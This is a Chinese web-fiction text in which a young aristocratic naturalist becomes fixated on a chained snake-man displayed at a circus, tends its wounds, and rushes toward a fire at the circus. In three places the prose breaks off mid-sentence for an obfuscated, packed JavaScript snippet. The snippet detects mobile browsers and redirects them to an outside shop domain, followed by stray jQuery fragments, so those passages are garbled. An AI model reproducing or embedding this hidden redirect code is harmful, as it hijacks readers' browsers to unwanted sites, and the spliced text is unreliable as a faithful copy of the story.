《被大主教捡回家后发现他长着尾巴》 1. 怪物 这已经是这周第三次，约书亚停留在马戏团门口。 鉴于他日常的社交路线十分固定：道格园林，蔷薇夫人影剧院、高档餐厅...一个不落，这属实是一个十分异常的行为。 他从未像现在这样认真收拾过自己，胭脂虫粉末掩盖了平时苍白略显憔悴的两颊，金色略长的发丝整齐地盘在帽子里，出于绅士的礼节还戴上了烫金的袖口和薄手套。这样的装扮被熟悉的人看到，恐怕一时间都认不大出来。 约书亚.格雷其实长着一张顶漂亮的脸，但隐藏在那种谨慎、卑琐的气质下，很少有人能注意到这一点。 门口的侍者老远就认出了他，热情的招呼道：“约书亚老爷，今天也是来看马戏表演的吗？” “嗯，它今天也在吗？” 约书亚朝他颔首，不着痕迹的把手往身后一藏，他有些洁癖，对于“吻手礼”这样的礼节向来避之不及，好在侍者也没注意，只是兴高采烈地迎他进去。 他出身于一个还算高贵的家族，祖辈做过勋爵，他的父亲曾是女王身边最得力的内廷士官，母亲也出自高庭的一个名门望族。 然而不同于其他勋贵子弟，约书亚在“品酒赏花狎妓”这些风雅事上不甚精通，严格意义上说，他并不能很好地融入“贵族老爷们”的圈子，即便是有意假扮，也总是成为那个格格不入的异类。 与之相反，“书呆子”、“边缘人”这样的形象却是为他量身定做一般，他从学生时代就对于生物表现出异于常人的热情。长期浸泡在标本室和图书馆，以至于过早地与眼镜共度余生，他对于学术的热情就连他的导师都觉得惊叹。 任谁也不会想到，这样一个“老实人”竟然对马戏团产生了浓厚的兴趣，几乎天天出没在剧场一带的地方。 ——马戏表演。 这并不是什么新奇的玩意，除去那群吉卜赛人爱搞的噱头，用拿针线缝合的猴子和鱼这种劣质品吸引人的眼球，每次表演的动物都大同小异，观众也不过寥寥。 但今天的剧场却有所不同，一个隐秘的展台简直比舞台上的驯兽表演更惹人注目。几位衣着华美的贵族少爷正围在一起激动地交谈，其他人受到好奇心的驱使，纷纷矜持的探头探脑，朝这窥探。 透过他们往里看，展台中央是一条，有着成年男性上半身的“人蛇”。 或许这样的形容对于眼前这个生物不太准确，跟那些恶意拼凑出的“类人怪诞生物”不同，如果忽视粗长的蛇尾和尖细的鳞片，他根本就是一个人类。 约书亚的手有些颤抖，尽管已经见过几次，他还是忍不住为面前这个生物感到惊讶和震撼，这种颠覆了科学和基本生物学尝试的怪事让他头脑发昏，以至于呼吸困难。 那东西蜷缩在展台的一侧，脸歪斜在地上，头发一缕一缕的贴在面庞和脖颈处，从他的角度，只能看到一截露出的下颌和被锁链拴住的，锋利突兀的喉结。 他看起来很虚弱，对于外界的交谈根本没有反应，若不是身体还传来细微的起伏，约书亚简直要以为它死了。 显然，这个怪物就是让马戏团赚的盆满钵满的原因所在。 一扫眼，略过那几个站在旁边近距离观看的贵族少爷，约书亚看到了一脸谄媚向他走来的老板欧文。 马戏团老板还是秉持着他那一贯以来黏腻的恭维声。 “哎哟，约书亚老爷今天怎么来的那么晚，我刚刚还正奇怪，以为你今天不来了呢。” 他对于约书亚过度地讨好也算是事出有因，毕竟现在谁都知道，这个脾气古怪的少爷最近看上了马戏团的新展品，光是约书亚这半个月在他这里投的钱，也足够他把约书亚当做祖宗供起来了。 约书亚忍不住皱了皱眉，他对于欧文没有好感，但鉴于接下来要谈的事，还是冷淡地开口询问道：“之前我不是说要给他换个屋子吗，怎么还是在外面，还有，我看他好像缺水了。” 欧文闻言只能尴尬的笑笑，有些心虚地解释“放在房间里，门票钱就收不到了，但是我已经根据约书亚老爷的意思，把他手腕上的链子解开了。” ——骗子。 约书亚在心里冷笑。 他还想说什么，人群中忽然传来一阵骚动，展台上的人蛇不知是受了什么刺激，竟然砰地一声摔了下去。 发生什么事了？ 他循声望去，只见展台中心的一人正紧紧拉住蛇人颈部的锁链，向众人大声炫耀着什么，凭借那棕黑的像刺猬一样的头发，约书亚认出他也是这里的常客——近年来名声在外的洛克勋爵。 这位洛克勋爵热衷于收集各种新奇玩意，实在是个不折不扣的疯子，据说他曾把自己的爱猫活活浸入福尔马林做成标本，甚至于他的两任妻子，最后全都不知所踪。 欧文吓了一跳，赶紧上去制止，他虽然为了赚钱毫无底线，但也担心自己的摇钱树出什么岔子。 “洛克老爷”，他的态度更为卑微，前额甚至渗出了汗水，在他看来，这人可比约书亚难应付多了。 “洛克老爷，这...这个人蛇是不可以摸的...马戏团规定。” 喔，规定....约书亚在心里大翻白眼。 马戏团的规定显然遵循着薛定谔的原则，洛克在这里一掷千金，这让老板十分顾忌。 “欧文，我也为他花了不少钱了吧，难道这个畜生这么金贵，碰一下就会死吗？”很明显，洛克根本没把什么规定放在眼里，他甚至再一次牵扯手中的锁链，逼迫蛇人竖起上半身。 就当约书亚忍无可忍，准备快步上前时，地上的蛇人却幅度很小地动了一下。 这是它第一次主动舒展自己的身体，只是很轻微的摇晃，众人却忍不住都被吸引。那东西微微立起了上半身，这种类似眼镜蛇捕食时的姿态让他的头发从两颊滑落，人们这才能看到他一直闭着的眼睛。 约书亚难以形容那是一种怎么样的眼神，尖细的瞳孔是蛇类一样冷血无机质的质感，却又隐隐有一种蔑视。他掀起眼睑只看了洛克一眼，很快便又闭上了眼睛。 这不该是一个拴着锁链的畜生该有的眼神。 而显然，摆弄蛇人的洛克也被这样轻蔑的眼神激怒了，在他看来，地上这个怪物在挑战他的权威。 他猛地用脚狠踹蛇人的脊骨，脸上几乎显现出有点狰狞的神色。蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344832|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人本就被铁链拴着，毫无防备的脸狠狠地地擦到地面的沙石，瞬间留下了一道触目惊心的伤痕。 “啪——” 几乎是下一秒约书亚就把他推开了，这么久以来，他的脸上第一次出现了可以称得上是愤怒的神情，他上前一步，隔在蛇人和洛克之前，谨防他再做出任何伤害蛇人的行为。 欧文眼瞧着他两对上，叫苦不迭，赶紧上去拦着，他声称蛇人没有智力，被抓住以后到现在都无法跟人类交流，更不具备识别人言的能力。 “约书亚少爷”，他陪着笑，“您也累了，我带您去包厢好吗？” 欧文敷衍的态度让约书亚恼火，事实上，他并不认为蛇人是什么低等生物，在这之前，他甚至偷偷为这个东西起了个名字，他叫他“塞壬”。 那是传说故事里通过歌声迷惑水手的海妖，那种妖怪也是半人半兽的化身。 “啧。” 洛克发出一声嗤笑，被约书亚毫不留情地推了一把，他却反而很快冷静了下来。 “看来那些传闻果然不假。”他的脸上挂着皮笑肉不笑的表情，似乎也意识到了自己在大庭广众之下的失态，虽然愤恨于约书亚不留情面地下他面子，但洛克也知道，与约书亚这种早已被边缘化的“破落户”不同，他的家族还是很注重名声的。 最后，他只是用牵着锁链的左手轻轻点了点约书亚就离开了。 约书亚冷冷地看着他回到人群中去，转身查看地上的蛇人，一会功夫，欧文已经让马戏团的两个伙计把它放回了展台上，蛇人像一开始一样一动不动，任由伙计查看他脸上的伤。 “你们有谁有应急药品吗？”他皱了皱眉。 人群中传来窸窸窣窣的议论声，碍于身份，他们控制着音量，只敢暗戳戳地把视线放在这两位少爷之间游移。 对此，约书亚一概充耳不闻，他虽然迟钝，却不是傻子，这次他算是把洛克得罪透了，以洛克那种睚眦必报的性格，马戏团以后十有八九要再出点什么“岔子”。 此前，关于“怪胎”约书亚被蛇人迷住的新闻已经传到沸沸扬扬，这次他的行为无疑是为这些留言添了把火，好在他本就不在意这些事，于他而言短期内也没什么影响。 约书亚看向旁边一脸愁容的欧文，叹了口气。 ——他想要买下这个蛇人。 是的，这也是他这次来这里的原因。 他想向马戏团团长买下“塞壬”，这样缺乏水和生存环境的地方显然不适合任何生物的生存。 但这件事或许比他想象中的要难上许多。 果然，欧文听到他的话以后直摇头，“这可不行啊，约书亚老爷，我知道你很喜欢这个...呃...这个”，他似乎在犹豫，用哪个措辞来形容蛇人，“可他现在是我的招牌货，我还准备靠他再多赚点钱呢”，欧文脸上依然堆着笑，眼神里闪烁着算计。 “而且，还有洛克老爷呢，他一定还没玩够呢。”老板不知想到了什么，咽了咽口水。 约书亚转过身，往门口看，洛克竟然一直盯着他，注意到约书亚的视线，他甚至朝这里举了举酒杯，露出了一个挑衅的微笑。 2. 他的血 第二天，约书亚被锁在了家里，他的父亲不知从哪听到了他和洛克为了一个“奴隶”在众人面前争风吃醋以至于大打出手的传闻。 谢天谢地他们没有把蛇人的真实身份抖落出来，否则格雷老爷大概要大喊着上帝晕过去了。 “约书亚·格雷！”格雷老爷那随着说话上下吹动的胡子想让人联想到山羊一类的动物，“我想我得再警告你一遍，我不只有你一个儿子。” ——他指的是自然是那个和约书亚年龄相近的私生子，这位绅士说这话时的那种“自豪”让约书亚几欲作呕，仿佛彰显他那和雄性动物动物一样的生殖能力是一件很值得炫耀的事似的。 噢，去他妈的吧。 约书亚在心里翻了个白眼，就好像谁在乎似的。 不过他也算是得到了应得的教训，这位少爷被迫在家接受所谓的“绅士教育”，格雷老爷扬言，如果儿子不能学会正当地捍卫家族名声，那他房间里那些稀奇古怪的标本化石就会被女仆当做垃圾清理出去。 这样的威胁显然十分有效，约书亚在家里一直待了三天，直到格雷老爷差不多消了气，他才听到门房伙计急匆匆地声音。 马戏团老板欧文竟亲自找上了门，由于约书亚的禁令，他此刻正在庄园门口急的团团转。 出什么事了？ 难道马戏团因为经营不善，需要紧急转手？他在心里颇为阴暗地揣测。 他狐疑地走过门廊，刚好与满头是汗的欧文撞个正着。马戏团老板神色仓皇，他下意识想拉住约书亚的袖子，又想起这位少爷孤僻的个性，只能悄悄给约书亚使了一个眼色。 好不容易见到了人，欧文却也只是语焉不详地透露，好像是马戏团里的“蛇人”出了什么岔子，再三追问下，他才悄悄透露，由于牵涉到人命，甚至连当地的治安官都惊动了。 据他所说，一个驯兽员私下里不知为何对蛇人进行了体罚，却遭到了忽然袭击，离奇的是，警方三天后才发现了他的失踪。那个驯兽员的尸体到现在都拼不完整，也不知道有失踪的那一部分是不是进了蛇人的胃里。 蛇人的状态很不好，马戏团的员工不敢轻易地去找医生，却又害怕这来之不易的“摇钱罐”出什么问题，只能去求现任医学院学生又详知内情的约书亚帮忙。 约书亚听后只是皱了皱眉，一直以来，他对于马戏团私下里驯养蛇人的行为早就颇有微词。或许是常年娇生惯养的贵族生活过度溺爱了这位少爷，他对于弱势群体，甚至用于演出的动物都抱有一种近乎于天真的同情心。 在这之前，他已经花了不少钱从马戏团里买了8只鹦鹉、3只猴子以及一些大型动物。 即便十分恼火，他也只是一边嘟囔着“我又不是兽医”和“我早就警告过你们”一边快速地坐上了马车。 老实说，这件事完全出乎了约书亚的意料，即便早就猜测“蛇人”或许有不亚于人类的智商和攻击力，他还是为平时看似温驯的“塞壬”的凶性与残忍所惊。 马车几乎是疯狂赶着到了马戏团，出乎意料的是，那里异常的安静，只有空气中弥漫着一股淡淡的血腥味，挥之不去。帐篷内的昏暗光线使得空气中的灰尘清晰可见，那些小小的颗粒在约书亚的视野中漂浮、旋转，令整个空间显得更加窒息。 约书亚提着应急药品快步进去，远处的几个伙计窃窃私语，细看之下才发现，他们脸上都隐藏着畏惧和一股劫后余生的庆幸。 看到约书亚的身影，他们仿佛找到了救世主一样。 但刚想迎上来，这位少爷脸上平静却让驯兽员们无不自觉地退后一步。毕竟，除了疯子，大概谁也不愿再次接触那个曾一夜之间夺走了一个生命的“怪物”。 “塞壬”还是躺在他原来的位置，大概是怕它再次伤人，蛇人的手腕上再次戴上了枷锁，甚至比之前的有过之而无不及，脖颈处戴上了一个有倒刺的项圈。 它的伤口隐藏在腹部，此时由于侧卧的姿势，约书亚并不能看到伤口的全貌。 约书亚尝试弄出一点噪音，这是他长期与动物打交道中学到的，凭借他对于大型猛兽的了解，蛇人应该会立刻警觉起来。 然而出乎他的意料，“塞壬”对于他刻意的行为并没有任何反应。 无奈之下，约书亚只能轻手轻脚地靠近，并尝试把他翻过来一些。 第一次触碰到“塞壬”，他就愣住了，手下的质感并不是传统意义上蛇类皮肤的滑腻，反而像是某种冰冷的，高档的皮革。约书亚一时入迷，竟忍不住多摸了一把，直到手不经意间碰到了腹部的黏腻才回过神。 蛇人竟不知何时睁开了眼，细细的瞳孔直直地盯着约书亚。 约书亚冷不丁被吓了一跳，下意识收回了手。蛇人尖尖的耳朵下有一排类似于锯齿的浅色绒刺，看上去有些锋利，这让他很轻易地就可以区别于人类。 约书亚下意识地屏住呼吸。他能感觉到自己背脊上的冷汗，他的心脏在胸腔里急促跳动，如同一头困兽在狭小的空间内挣扎。 “你……你醒了吗？”他的声音有些颤抖，但他试图保持镇静。虽然知道蛇人大概率无法听懂人类的语言，但约书亚一定要说些什么，以打破这诡异的氛围。 约书亚虽然为这个美丽的生物着迷，但今天听到伙计的惨死，心里不免还是有些抖索，纤细的喉管忍不住向下吞咽了一下，这是他在极度紧张时下意识的生理反应。 随即他后知后觉地想到，蛇人被注射了麻醉剂，是无法伤害他的。 “我需要把你翻过去，请你配合。”他一本正经地说，余光里瞟见几个伙计正站在不远处，想瞧又不敢瞧地往这边张望。 ——我真是疯了。 当着这么多人的面在这犯蠢。 心脏过量地把血液泵往头顶，约书亚猜想他的脸一定红了。 不知是不是错觉，约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344833|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书亚感觉蛇人在看到他时眯了眯眼，那种神色很难描述，约书亚把只能把它归类于“好奇”。 之前，不知道是出于哪种心情，他从未这样近距离的观看过“塞壬”，这次却是一个绝佳的机会。 约书亚于是放任自己的目光延伸下去，蛇人上半身延展的肌肉隐隐藏在皮肤下，淡青色的血管在小腹微微凸起，汇聚到...... 他的目光不由自主的看向蛇人的下腹，被鳞膜包裹着的地方露出一个小小的豁口，约书亚猜测那可能是蛇类的泄殖口，伤口的位子正位于那道豁口之下，此时不知被什么液体浇灌了一样，竟有些湿淋淋的。 ——那是一道触目惊心的裂口，周围的鳞片由于遭受鞭打和暴力而翻卷着，露出了里面柔软的皮肉。但令人惊讶的是，新生的鳞片已经长了出来，蛇人的自愈能力显然更胜于人类。 原来他的血也是红色的，和我一样。 约书亚无意识地舔了舔唇。 即便是这个时候，他那不合时宜的“求知欲”仍然冒了出来，这让他多少没那么紧张了。 压下心头怪异，约书亚强迫自己集中精神，为塞壬处理伤口，他拿一块干净的纱布沾上酒精，轻轻按在伤口附近，试图先清理掉周围的血迹。 酒精与伤口接触的瞬间，手下的身体微微一颤，“塞壬”的肌肉下意识绷紧了，这让约书亚不由地想到他在医学院处理过的那些疑难杂症。 相比之下，“塞壬”着实是一位很让人省心的患者，至少他没有大声尖叫，也没有不停地挣扎扭动。 “抱歉......我知道这很疼，但必须这么做。”约书亚低声喃喃自语。 他的手指尽量保持轻柔，却不敢有丝毫停顿，清洁伤口后就是缝合，在尽量避开裂开的皮肤后，动作熟练而谨慎地完成了包扎。 等到全部处理完伤口，约书亚出了一头的汗。他双腿发麻，随意清理了一下自己手上残留的血水。 出乎意料的是，蛇人全程都表现的十分配合，只是蛇尾有时会缠上约书亚的小腿，约书亚猜测那应该是被麻醉后下意识的行为，因为它缠得并不紧，只是让约书亚行动有些不便。 直到约书亚从地上爬起来，那条尾巴才略微松了一些，轻轻地在约书亚脚边扫动。 这让他显得十分无害，如果约书亚能够忽略那时刻紧盯着自己的视线的话。 蛇人的瞳孔颜色十分罕见，是那种顶级的祖母绿猫眼石，即便是镶嵌在最高贵的小姐的戒指上也是一种亵渎，他的瞳孔和人类不同，像是两粒细长的麦穗。 一位人类，一位受过良好礼节教育的绅士是断不会这样无理地紧盯着人看的，只有......只有未经驯化的野兽，或者残忍的捕食者才会这样看自己的猎物。 有那么一瞬间，约书亚感到身体的全部空腔都被那细小的、扭曲的蛇躯挤满了，这种对未知事物极度恐惧的谵妄让他毛骨悚然。 3. 学术实验 接下来的一周，约书亚每天巴不得住在马戏团里，这让他本就糟糕的名声雪上加霜，他依然妄图给自己留存最后一丝颜面，“看望病人”这一所谓的正当原因缓解了他内心受到的谴责。 不知是不是错觉，约书亚总觉得“塞壬”好像能够辨认出他和其他人，或许是因为约书亚身上与生俱来的那种文弱无害的气质太过显眼，蛇人似乎和马戏团里的其他动物一样，对他颇为亲近。 具体表现为，他并不抗拒约书亚的靠近，每当约书亚小心翼翼地靠近帐篷，他都只是懒洋洋地掀开眼皮看一眼，就又一动不动地躺下了。 有时，“塞壬”所展示出的那种松弛的姿态让约书亚以为，这不是一个类人的冷血动物，而更像一个慵懒的，聪明的人类。 这让约书亚更为确定他的推论——蛇人并不是智商低下的低等物种，他对于驯养员的亲近有一个日益加深的、可被量化的过程，这让他区别于与马戏团的其他动物。 约书亚有时甚至想要试探，“塞壬”是否可以听懂自己简单的指令。 但这一计划还没得以实施就夭折了，原因很简单——“塞壬”或许具有极为惊人的智商，但他的配合性实在是太低了，难怪之前的驯兽师总看不惯他，这样不听从指令又特立独行的野兽确实容易给人一种挫败感，毕竟人类天生的种族优越感是那么强烈。 约书亚并不气馁，他有时会带一些新鲜的鱼肉或者动物内脏过来，根据他的猜测，蛇人这一物种或许不具备初步社会化的分级，否则难以解释“塞壬”这种孤僻的性格。 他尝试通过食物和肌肉记忆与蛇人建立初步的联系，但约书亚显然不是一个合格的驯养员，他太容易心软了，就连“挨饿”这种最低级的训导手段都舍不得实施，难怪他的实验总是毫无进展。 所以，这些小伎俩无一例外地失败了，“塞壬”就像某种难以捉摸的猫科动物，每当约书亚苦于突破进展，一个人闷闷坐在一边时，他就会在一旁弄出些动静，来吸引约书亚的注意，但每次约书亚想要他配合做些什么“行为智商实验”，他又摆出一副听不懂的样子。 这场学术实验搁浅截止于今天下午。 事情的诱因开始于几天前，自从来到马戏团，约书亚“书呆子”属性在得以长时间近距离接触“塞壬”时发挥地淋漓尽致。 有时他一个人呆呆地冥想，一动不动几个小时，这使得他本就不富裕的健康情况变得更糟，每当长时间蹲下以后站起来，总是会伴随着一股眩晕感。 这算是他的老毛病了，低血糖与过度劳累都有可能是诱因，但约书亚从未把它放在心上。 然而这种放纵这一次却差点要了他的命。 下午，他和往常一样为“塞壬”处理伤口，蛇人的身体素质十分夸张，明明几天前还狰狞可怖的伤口现在只剩下了一层薄薄的痕迹。 空气中隐隐约约拢着一股□□瑰丽的味道，约书亚翕动鼻尖想要判断香味的成分，那种气味却伴随着湿漉漉的空气入侵了他口唇处的粘膜，他甚至有些昏昏沉沉了。 ——有点不太对劲。 约书亚有些模糊的脑子后知后觉地嗅到了一丝危险的气息。 这位过分单纯的贵族少爷并意识不到，蛇人这段时间以来展现出的温顺无害或许都是伪装，而毫无疑问他成功了，就在前天，约书亚甚至因为心软，偷偷取下了“塞壬”脖子上那带着倒刺的项圈。 又是熟悉的眩晕感，约书亚勉励站起来，两条腿却仿佛变成了煮软的面条，支撑不起身体的重量。 “……” 他晕乎乎地倒下了。 这是一个十足危险的信号，即便是一个刚入行的新人驯兽师也知道，绝对不能把自己的后背暴露在野兽面前，除非你想被撕成碎片。 然而，预想之中的疼痛并没有传来。 头部最先感到一股柔软的触感。 一阵天旋地转过后，约书亚睁开眼看到的第一个景象，是蛇人苍白劲瘦的腹部。 一瞬间，他忽然想到了那个被撕烂的驯兽员，难以言喻的恐惧刹然袭上心头，约书亚忍不住打了个冷战。 他竭力保持冷静，现在的当务之急是先和蛇人保持一个安全的距离。 然而下一秒他就僵住了，颈上传来一股冰凉的触感，约书亚一动也不敢动，蛇人竟然在用两只手轻轻摩挲着约书亚的颈部，意识到这一点，他差点忍不住尖叫起来。 “塞壬”的手背上分布着些许锋利的鳞片，此时随着他的动作时而剐蹭到颈部娇嫩的皮肤，带来一丝丝含着凉意的痛感。 约书亚绝望地闭上了眼睛，他是多么愚蠢，竟然以为能够和一只野兽建立起什么情感，而现在，他要为自己的天真付出代价了。 此刻他唯一能奢求的，就是一过程能够快一点。 然而下一秒，约书亚又霎地睁开了眼睛。 原本放在他脖子上的手不知何时游离到了胸前。蛇人似乎对他身上穿的丝绸衬衫很感兴趣，一只手探了进去，另一只手卡住约书亚的头部，让他不要乱动。 意识到蛇人似乎并不想伤害他，约书亚早已宕机的大脑终于又缓慢地重启运行了。 “求你...求求你!别吃我！”约书亚几乎是慌不择路地说出这句话，也不管面前的野兽到底能不能听懂他说的话。他下意识抬起手握住了蛇人的手臂，以一种非常臣服的姿态哀求道。 可能是害怕到精神恍惚了，约书亚似乎听到了“塞壬”发出了一声轻笑。 这或许不是错觉，因为两人姿势的缘故，约书亚能感觉到“塞壬”胸腔处传来的，因为发笑而产生的震动。 “你知道我在说什么，是吗？”意识到这一点，约书亚像是抓住了救命稻草一样，一瞬间，对于“蛇人或许能够与人类交流”这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14344834|152652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一震撼发现甚至短暂地盖过了他的恐惧。 他甚至无法抑制地产生了一些荒谬的幻想，或许他可以尝试学习另一物种的交流方式？这一生物学上的突破一定能够颠覆99%的科学期刊。 可惜的是，“塞壬”并没有给出任何回应，与此同时，他似乎不再满足于用手感受身下猎物的温度，在把约书亚调整到一个更方便“入口”的位置以后，取而代之的是细长的蛇信。 约书亚下意识地躲了一下，他控制不住地战栗，心中不禁泛起一股奇怪的感觉。 他忍不住蜷起两肩，缩起脖子，以一种可怜又可笑的姿势妄图躲避那种濡湿的侵犯。 或、或许，“塞壬”只是和其他动物一样，通过舔舐来表达自己的亲近呢？ 如果他能转过头看一看身后的人脸上的表情，便绝对得不出这种结论了。 气氛逐渐变得黏着起来，约书亚无端端地感到口干舌燥，他忍不住张开嘴呼吸，探出舌头，甚至抬起手去抓挠自己的咽喉，那些被蛇信扫过的部位仿佛被什么东西吸附住了似的，带来一种过敏后灼烧的痛感。 约书亚甚至能听到自己胸膛里传来的心跳声——这是肾上腺素飙升的一个标志。 或许他已经被注射了毒素，约书亚昏昏沉沉地想，此时此刻他的大脑仿佛融化的黄油，逐渐塌陷在棉花糖里。 “--约书亚老爷！” 就在这时，门口忽然传来了欧文的叫喊声，约书亚已经被麻痹地昏昏沉沉的神经末梢忽然被蛇咬了一口似的清醒了过来，他几乎连滚带爬地脱离了蛇人的身下。 骤然看见他慌乱的神情和凌乱的衣服，欧文一时间也吓了一跳。 谢天谢地他并没有看到刚才那一幕，迟钝如约书亚也不可否认，刚才的画面在别人看来得有多么惊悚和怪异，而他的过激反应更为这件事添加了一些□□的意味。 约书亚僵硬地转了转头，他心虚地看了一眼蛇人的方向，余光里他撇到蛇人似乎又躺了回去——这是他在外人面前一贯的表现。 欧文的到来并不是偶然，约书亚从他闪烁的目光和简直就要溢出来的欲望里品出一丝不妙来。 “约书亚老爷...”，果然，下一秒他就把约书亚神神秘秘地叫到一边。 “帝都那边的科学院花高价向我购买蛇人，你觉得怎样？” 还不待约书亚开口，他又急匆匆地补充：“他们给的待遇简直棒极了，而且你知道的，帝都科学院里全都是首席天才！” “欧文，这不是你真正的理由。”约书亚冷冷地打断了他，“我出的价不一定比科学院低，我需要一个合理的解释，一个你要把他卖给别人的理由。” 闻言，欧文露出为难的表情，他似乎顾虑重重，但是最后，他还是悄悄靠近约书亚，以一种好奇又夹杂着畏惧的口吻说道：“那位，就是那位大人，对蛇人有兴趣。” 4. 疯狂 深夜，格雷家的庄园陷入了寂静。由于长期挥霍，庄园中央那座古老的喷泉早已干涸，残破的雕像在月光下显得苍白且冰冷。夜风从未修剪的玫瑰丛中穿过，带来一股潮湿的土腥气息。 约书亚的房间依然亮着灯，成为了无尽黑暗中暂存的唯一微光。 他失眠了。 这其实是一件稀松平常的事，只是与“如何设计定量实验”、“怎样才能养活科莫隆蜥”、“植物授粉季的文献综述”相比，“如何得到一个‘人’”显然更具有研究和思考的意义。 “我想要他。”离开马戏团，这样的想法在约书亚脑中越发强烈了起来。 可笑的是，那些从他生下来就没断过的恶意揣测竟都不是真的，这位孤僻的贵族老爷并不是要做什么骇人听闻的动物实验，也并非出于猥琐狎玩的心态，他只是单纯的，不想让蛇人再收到更糟糕的对待罢了。 或许这其中还有一丝说不清道不明的迷恋和独占欲，但约书亚并不会承认就是了。 但这并不是一件简单的事。 马戏团现如今正靠“蛇人”的猎奇赚的盆满钵满，欧文甚至连一个工作人员的死都可以不在乎，可想而知他绝对不会把这来之不易的财宝分给任何人。 而他语焉不详中涉及到的那位大人物，显然也是一个巨大的阻碍。 更何况，即便约书亚自己不在意，若是被格雷老爷知道整件事的原委，自己的儿子鬼迷心窍地想要收藏一个诡异的类人生物，一定会毫不留情地把他扫地出门。 约书亚想起之前看过的□□，由于有悖于宗教教义，这些书只能在图书馆的禁区找到。 一个铁匠爱上了吉普赛人展出的“猴女”，他本可以凭借着精湛的手艺娶妻生子，却被撒旦蛊惑，在马戏团把自己的积蓄挥霍一空，可即便沦为身无分文的乞丐，他依然每日蹲在戏团门口，希望能再看到爱人一眼。直到最后，吉普赛人告诉他，那个“猴女”只是他们拿拙劣道具扮演的人偶，绝望的铁匠用一把火烧光了整个戏团，也焚毁了自己的心。 约书亚并不在乎他在“塞壬”身上到底花了多少钱，或许他自己也数不清，但一种挥之不去的恐慌始终笼罩在他的心头，不得不承认的是，在看到“塞壬”的一瞬间，他身体中的一部分开始理解那个疯狂的铁匠，而这并不是一个良好的信号。 或许他真的受到了诅咒。 这种过度的执念已经不可避免地侵蚀到了他的精神健康。 有时约书亚甚至会产生一些可怕的幻觉。 他躺在丝绸质地的羽绒被里，和往常一样安静，只能听见自己规律的心跳以及楼下偶尔传来的，马车轱辘碾过石板路的声响。 不，好像......不仅仅是这样。 还有一种...一种，约书亚忽然一阵寒颤，隐约之间，他还听到一种“嘶嘶”的声响，像是某种无足动物爬行留下的声响，这种“噪音”简直无孔不入，天花板上，地板上，甚至床头。 然而每当约书亚忍无可忍睁眼去看，一切却都与平时并无二致。 除此之外，伴随着这种毛骨悚然的声音，还有一种，挥之不去的被窥视感。 这些幻觉几乎要把他折磨疯了。 约书亚并不是怪诞小说的忠实爱好者，但他最近经历的这一切，恰恰就仿佛是某本烂俗猎奇话本的开场白一样。 今天的幻觉好像更变本加厉了，恍惚间，约书亚的眼前出现了模糊的光晕，他本来打算像原来那样暗示自己这都是幻象，然而楼下却传来了越来越大的嘈杂声。 无奈，约书亚只能睁开了眼睛。 是火光。 原来那光晕并不是幻觉。 等等？ 就在约书亚窗前能看到的地方，远远地燃起了一片火光，巨大的烈焰仿佛点燃了天际，正顺着边界线疯狂燃烧。 那个位置......不对，那是马戏团！ 下一秒，还不待约书亚刚清醒没多久的大脑发布指令，他就像一阵风似的冲了出去。 街道上早已乱成了一团。 约书亚隐约从人群中传来的议论声中听见，好像是某个印第安人表演魔术时点燃了帐篷，他的帐篷又刚好紧挨着烟花存放处，还没过多久，整个西城区就已经陷入了一片火海。 约书亚甚至没来得及叫上马车，慌乱之下，他只来得及勉强套上鞋子就跑到了街上，好在现在大家都十分慌乱，没人会注意到这个只穿了一件睡衣的“怪胎”。 他几乎是逆着人群在跑。 一张张面孔略过他的身边，慌乱的，惊恐的，讶异的，就像油彩画上随意扫过的划线。 疯了。 或许传言说的没错，他真的是一个偏执的、不计后果的疯子。 “约书亚少爷，约书亚少爷！” 身后忽然传来一阵气喘吁吁的叫喊声。 是家里的马夫。 是了，他这样急匆匆地动静，一定惊动了家里的仆从，但此时约书亚也顾不得许多了，他只能一个劲儿地催促马车，快点！再快一点。 “去马戏团！快去！” 马车几乎是用全速在街上飞驰，然而没过多久，他就被治安官拦下了。 “这位市民，请你不要妨碍公务。”隔着帷幔，约书亚听见巡逻官有些焦急的声音。 他探出头去。 那个年轻的巡逻官似乎并没有认出他是谁，但从马车上的家徽和镀金装饰，足以让他得出判断——来人应该是一位身份颇高的贵族老爷。 于是他的态度恭敬了不少。 “这位先生，请您不要再往前了，前面发生了火灾，已经被隔离了。”他微微欠身，为约书亚行了半礼，态度却十分坚决。 巡逻官显然并没有夸大其词，就在不远处的前方，曾经豪华而气派的马戏团简直烧的像地狱一样，倒塌的帐篷，孤零零支棱出来的木板和金属支架，以及空气中弥漫的皮肉烤焦的味道都昭示着这一恐怖的现实。 “那里面的人，里面的人怎么办呢？”约书亚几乎是毫不犹豫跳下马车，第一次，车夫在他脸上看到了冷静之外的表情。 